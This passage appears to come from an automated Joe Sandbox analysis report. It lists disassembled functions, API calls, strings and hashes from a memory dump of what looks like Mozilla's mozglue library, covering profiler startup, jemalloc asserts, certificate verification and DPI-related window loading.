getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAD57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAD57CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAD5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAD56E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAD5791
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAD5CF9
MOZ_PROFILER_STARTUP, xrefs: 6CAD55E1
[I %d/%d] profiler_init, xrefs: 6CAD564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAD584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAD5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAD5B38
GeckoMain, xrefs: 6CAD5554, 6CAD55D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAD5717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAD5C56
MOZ_BASE_PROFILER_HELP, xrefs: 6CAD5511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAD5BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAD57C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAD5749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAD5D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAD5766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAD5D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAD57AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAD5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAD5AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD54B9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 1fb8093166796c1ca2bee0c1e9a217243d75736f1017bc295c43f8e433672644
Instruction ID: 3dde48bd42cbba18e38691d0b6f601f2a9008efca93f90a0e439df990c6e5b88
Opcode Fuzzy Hash: 1fb8093166796c1ca2bee0c1e9a217243d75736f1017bc295c43f8e433672644
Instruction Fuzzy Hash: 0D2226B4A087408FEB00AF75841466E7BB5FF4635CF198929F95987B45EB30E888CB53

Function 6CB0B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0B845
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0B852
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0B884
InitializeConditionVariable.KERNEL32(?), ref: 6CB0B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CB0B9FD
GetCurrentThreadId.KERNEL32 ref: 6CB0BA05
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CB0BA27
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0BA4B
free.MOZGLUE(?), ref: 6CB0C9C7
free.MOZGLUE(?), ref: 6CB0C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CB0C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CB0C7DA

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 4afb04893a7a2c9d2700f3b7054f17e09956e6468bb29c74f36e89c26c2ca08a
Instruction ID: 87955bcbfcd44f6945dedfedda5059534e3cceeaf615caab0439211fe2c9c40c
Opcode Fuzzy Hash: 4afb04893a7a2c9d2700f3b7054f17e09956e6468bb29c74f36e89c26c2ca08a
Instruction Fuzzy Hash: 8FA2AE71A087808FC725DF28C49079FBBE5BFC9318F048A2DE89997750DB709949CB92

Function 6CAD6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAD6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAD6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAD6D26

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAD6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAD6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAD6D73
free.MOZGLUE(00000000), ref: 6CAD6D80
CertGetNameStringW.CRYPT32 ref: 6CAD6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAD6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAD6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAD6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAD6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAD6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAD6E34
CreateFileW.KERNEL32 ref: 6CAD6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAD6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAD6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAD709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAD7103
free.MOZGLUE(00000000), ref: 6CAD7153
CloseHandle.KERNEL32(?), ref: 6CAD7176
__Init_thread_footer.LIBCMT ref: 6CAD7209
__Init_thread_footer.LIBCMT ref: 6CAD723A
__Init_thread_footer.LIBCMT ref: 6CAD726B
__Init_thread_footer.LIBCMT ref: 6CAD729C
__Init_thread_footer.LIBCMT ref: 6CAD72DC
__Init_thread_footer.LIBCMT ref: 6CAD730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAD73C2
VerSetConditionMask.NTDLL ref: 6CAD73F3
VerSetConditionMask.NTDLL ref: 6CAD73FF
VerSetConditionMask.NTDLL ref: 6CAD7406
VerSetConditionMask.NTDLL ref: 6CAD740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAD741A
moz_xmalloc.MOZGLUE(?), ref: 6CAD755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAD7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAD7598
free.MOZGLUE(00000000), ref: 6CAD75AC

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

Strings

SHA256, xrefs: 6CAD6EC0
wintrust.dll, xrefs: 6CAD72CD
(, xrefs: 6CAD768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CAD72C8

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 736c3ff8ccf7bd65b9692feeaced295589a78b1654f79684b121dd6ffe301adb
Instruction ID: 522017df4d091ed291d92498537a368aea462c5c1e0578b158cec4a48a762c4f
Opcode Fuzzy Hash: 736c3ff8ccf7bd65b9692feeaced295589a78b1654f79684b121dd6ffe301adb
Instruction Fuzzy Hash: 4852E1B1A042549BEB21DF24CC84BAA77B9FB45308F158599F909EB644DB30BEC4CF91

Function 6CAF6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF7019
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF7061
EnterCriticalSection.KERNEL32(?), ref: 6CAF71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CAF721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CAF723E
EnterCriticalSection.KERNEL32(?), ref: 6CAF726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CAF72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CAF733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CAF73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CAF961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAF96DB
AcquireSRWLockExclusive.KERNEL32(6CB4E804), ref: 6CAF9747
GetSystemInfo.KERNEL32(?), ref: 6CAF9792
__Init_thread_footer.LIBCMT ref: 6CAF97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB4E810,00000040), ref: 6CAF97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E7B8,00001388), ref: 6CAF9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E744,00001388), ref: 6CAF984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E784,00001388), ref: 6CAF9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4E7DC,00001388), ref: 6CAF9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF99BD
Compile-time page size does not divide the runtime one., xrefs: 6CAF9B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAF9993
MOZ_CRASH(), xrefs: 6CAF9B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF9933, 6CAF9A33, 6CAF9A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF99A8
MALLOC_OPTIONS, xrefs: 6CAF97CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAF9BF4
<jemalloc>, xrefs: 6CAF9B33, 6CAF9BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF99D2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d6d4d82cb93d297b02fcbac7269b4df437e1cd3e5c8ffb4eab2705bb30aa3395
Instruction ID: 9eb76541e7f8d1d7542351745fd65bb9bda30ea3e90cd3d862bb1a65678c018a
Opcode Fuzzy Hash: d6d4d82cb93d297b02fcbac7269b4df437e1cd3e5c8ffb4eab2705bb30aa3395
Instruction Fuzzy Hash: F7534C71A057018FD714CF29C580619FBE1BF8A328F29C66DE8798B795D771E882CB81

Function 6CB00DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB00F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB00F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB00FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB00FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB01031
LeaveCriticalSection.KERNEL32(?), ref: 6CB010D0
EnterCriticalSection.KERNEL32(?), ref: 6CB0117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB01C39
EnterCriticalSection.KERNEL32(6CB4E744), ref: 6CB03391
LeaveCriticalSection.KERNEL32(6CB4E744), ref: 6CB033CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB03431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB03437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB037BD
Compile-time page size does not divide the runtime one., xrefs: 6CB03946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB03793
MOZ_CRASH(), xrefs: 6CB03950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB03559, 6CB0382D, 6CB03848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB037A8
MALLOC_OPTIONS, xrefs: 6CB035FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB03A02
<jemalloc>, xrefs: 6CB03941, 6CB039F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB037D2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 455f8dbb4cc4bdab3dc115bae8c847511bafcb1a500b2cadc004671fa85b8850
Instruction ID: e39592860f89bc1c67a266811d3e0c2deb17ea1152358770162fc3322d9742be
Opcode Fuzzy Hash: 455f8dbb4cc4bdab3dc115bae8c847511bafcb1a500b2cadc004671fa85b8850
Instruction Fuzzy Hash: 2D536A71B057818FC708CF28C54461ABBE1FF85328F29C6ADE8699B791D771E845CB82

Function 6CB255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CAFE1A5), ref: 6CB25606
LoadLibraryW.KERNEL32(gdi32,?,6CAFE1A5), ref: 6CB2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB257FF

Strings

ReleaseDC, xrefs: 6CB25742
EnableNonClientDpiScaling, xrefs: 6CB25666
GetSystemMetricsForDpi, xrefs: 6CB25677
CreateSolidBrush, xrefs: 6CB257E4
ShowWindow, xrefs: 6CB256DE
LoadCursorW, xrefs: 6CB25774
CreateWindowExW, xrefs: 6CB256C5
FillRect, xrefs: 6CB25729
SetWindowPos, xrefs: 6CB256F7
GetDpiForWindow, xrefs: 6CB25690
GetMonitorInfoW, xrefs: 6CB257A2
SetWindowLongPtrW, xrefs: 6CB257B7
user32, xrefs: 6CB25601
AreDpiAwarenessContextsEqual, xrefs: 6CB25637
LoadIconW, xrefs: 6CB2575B
GetThreadDpiAwarenessContext, xrefs: 6CB2562D
StretchDIBits, xrefs: 6CB257CC
DeleteObject, xrefs: 6CB257F9
MonitorFromWindow, xrefs: 6CB2578D
RegisterClassW, xrefs: 6CB256AC
gdi32, xrefs: 6CB2560A
GetWindowDC, xrefs: 6CB25710

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ed0b7f1819fce01f2144297127fa059aa978a17618caaba18a67cb763d6ce43d
Instruction ID: b07d3a5d2cd33eebbbef0d8f350eab43cd2062eadff64f9e4b9c712b452466c9
Opcode Fuzzy Hash: ed0b7f1819fce01f2144297127fa059aa978a17618caaba18a67cb763d6ce43d
Instruction Fuzzy Hash: 9C518574A097926BDB01AF3D8D04D3A3BB8FB46259750C829E915E7A0DEB78CC048F65

Function 6CB234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB23EE2

Part of subcall function 6CB26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB261DD
Part of subcall function 6CB26180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB2622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24157

Part of subcall function 6CB26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB26250
Part of subcall function 6CB26180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB26292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB2441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB2484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB24896
free.MOZGLUE ref: 6CB2489F

Strings

, xrefs: 6CB24CD2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: ae2b30b7326afa79553ea1b2b15de5f080b5915db6d59416ea8e2be54dd181ef
Instruction ID: 847a2748bae028387d7837840c2acc05314b1d6e0b52db13796dc55b66cf5278
Opcode Fuzzy Hash: ae2b30b7326afa79553ea1b2b15de5f080b5915db6d59416ea8e2be54dd181ef
Instruction Fuzzy Hash: BBF24A74908B808FC725DF28C0846AAFBF1FF89358F118A5ED99D97711DB319896CB42

Function 6CAD64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAD64DF
